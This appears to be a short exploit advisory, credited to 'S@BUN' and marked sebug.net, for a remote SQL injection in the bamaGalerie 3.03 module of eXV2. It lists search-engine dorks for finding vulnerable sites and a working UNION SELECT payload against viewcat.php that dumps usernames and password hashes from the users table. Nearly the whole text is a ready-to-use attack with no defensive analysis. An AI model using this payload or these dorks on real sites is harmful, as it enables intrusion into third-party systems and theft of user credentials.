eXV2 Module bamaGalerie 3.03 Remote SQL Injection Vulnerability

########################################## # # eXV2 Module bamaGalerie 3.03 SQL Injection # # download=http://www.exv2-filecenter.de/modules/mydownloads/singlefile.php?lid=9 # ########################################## # ##AUTHOR : S@BUN # ####HOME : http://www.milw0rm.com/author/1334 # ####MA陌L : hackturkiye.hackturkiye@gmail.com # ########################################### # # DORKS 1 : allinurl :"modules/bamagalerie3" # DORKS 2 : allinurl :"modules/bamagalerie" # ########################################### EXPLOIT : viewcat.php?cid=-9999999/**/union/**/select/**/0,1,2,3,concat(uname,0x3a,pass),5,6/**/from/**/e_xoops_users/* ########################################### ##################S@BUN#################### ########################################### #####hackturkiye.hackturkiye@gmail.com##### ########################################### # sebug.net